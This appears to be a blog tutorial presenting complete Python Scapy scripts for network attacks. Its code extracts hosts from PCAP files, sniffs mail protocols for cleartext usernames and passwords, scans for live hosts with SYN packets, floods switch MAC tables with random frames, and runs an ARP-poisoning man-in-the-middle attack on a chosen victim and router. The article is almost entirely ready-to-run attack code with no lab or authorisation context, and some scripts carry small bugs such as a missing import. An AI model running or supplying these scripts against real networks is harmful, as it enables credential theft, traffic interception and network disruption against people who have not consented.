Information Security 7 min read
How to Extract IPs from PCAP and Perform Common Network Attacks with Scapy
This guide demonstrates how to use Python's Scapy library to extract IP addresses from PCAP files, sniff usernames and passwords from mail traffic, discover live hosts via SYN packets, launch MAC address table flooding attacks, and conduct ARP spoofing for man‑in‑the‑middle attacks, providing complete code examples.
Ops Development Stories
Ops Development Stories
Extract IPs from a PCAP file
<code>from __future__ import print_function
from sys import argv
from scapy.all import rdpcap, IP
def help_text():
print("Usage: python all_devices.py path_to_pcap")
sys.exit()
def extract_host_names(pcap):
machines = []
packets = rdpcap(pcap)
for i in range(len(packets)):
if packets[i].haslayer(IP) != 1:
continue
if packets[i][IP].src not in machines:
machines.append(packets[i][IP].src)
print(len(machines), packets[i][IP].src)
elif packets[i][IP].dst not in machines:
machines.append(packets[i][IP].dst)
print(len(machines), packets[i][IP].dst)
return machines
if __name__ == '__main__':
pcap = argv[1]
if len(argv) < 2:
help_text()
print("\nList of all the hosts in pcap =>", extract_host_names(pcap), end="\n\n")
</code>Sniff usernames and passwords from mail traffic
<code>from scapy.all import *
def packet_callback(packet):
if packet[TCP].payload:
mail_packet = str(packet[TCP].payload)
if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
print("[*] Server: %s" % packet[IP].dst)
print("[*] %s" % packet[TCP].payload)
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0)
</code>Discover live hosts using SYN packets
<code>from __future__ import print_function
from scapy.all import IP, TCP, sr, sr1
import sys
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def help_text():
print("\nUsage:\n python hd_tcp_syn.py network_range\n")
sys.exit()
def host_discovery(network_range):
ans, unans = sr(IP(dst=network_range)/TCP(dport=80, flags="S"), verbose=0, timeout=1)
ans.summary(lambda s, r: r.sprintf("\n %IP.src% is alive\n"))
if __name__ == '__main__':
if len(sys.argv) < 2:
help_text()
network_range = sys.argv[1]
host_discovery(network_range)
</code>MAC address table flooding attack
<code>from scapy.all import Ether, IP, TCP, RandIP, RandMAC, sendp
def generate_packets():
packet_list = []
for i in xrange(1, 10000):
packet = Ether(src=RandMAC(), dst=RandMAC())/IP(src=RandIP(), dst=RandIP())
packet_list.append(packet)
return packet_list
def cam_overflow(packet_list):
sendp(packet_list, iface='eth0')
if __name__ == '__main__':
packet_list = generate_packets()
cam_overflow(packet_list)
</code>ARP man‑in‑the‑middle spoofing attack
<code>from scapy.all import *
import sys, os, time
interface = raw_input("[*] Enter Interface: ")
victimIP = raw_input("[*] Enter Victim IP: ")
gateIP = raw_input("[*] Enter Router IP: ")
print("\n[*] Enabling IP Forwarding...\n")
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
def get_mac(IP):
conf.verb = 0
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=IP), timeout=2, iface=interface, inter=0.1)
for snd, rcv in ans:
return rcv.sprintf(r"%Ether.src%")
def reARP():
print("\n[*] Restoring Targets...")
victimMAC = get_mac(victimIP)
gateMAC = get_mac(gateIP)
send(ARP(op=2, pdst=gateIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=7)
send(ARP(op=2, pdst=victimIP, psrc=gateIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateMAC), count=7)
print("[*] Shutting Down...")
sys.exit(1)
def trick(gm, vm):
send(ARP(op=2, pdst=victimIP, psrc=gateIP, hwdst=vm))
send(ARP(op=2, pdst=gateIP, psrc=victimIP, hwdst=gm))
def mitm():
try:
victimMAC = get_mac(victimIP)
except Exception:
print("[!] Couldn't Find Victim MAC Address")
sys.exit(1)
try:
gateMAC = get_mac(gateIP)
except Exception:
print("[!] Couldn't Find Gateway MAC Address")
sys.exit(1)
print("[*] Poisoning Targets...")
while True:
try:
trick(gateMAC, victimMAC)
time.sleep(1.5)
except KeyboardInterrupt:
reARP()
break
if __name__ == '__main__':
mitm()
</code>Written by
Ops Development Stories
Maintained by a like‑minded team, covering both operations and development. Topics span Linux ops, DevOps toolchain, Kubernetes containerization, monitoring, log collection, network security, and Python or Go development. Team members: Qiao Ke, wanger, Dong Ge, Su Xin, Hua Zai, Zheng Ge, Teacher Xia.
0 followers
Reader feedback
How this landed with the community
Rate this article
Was this worth your time?
Discussion
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.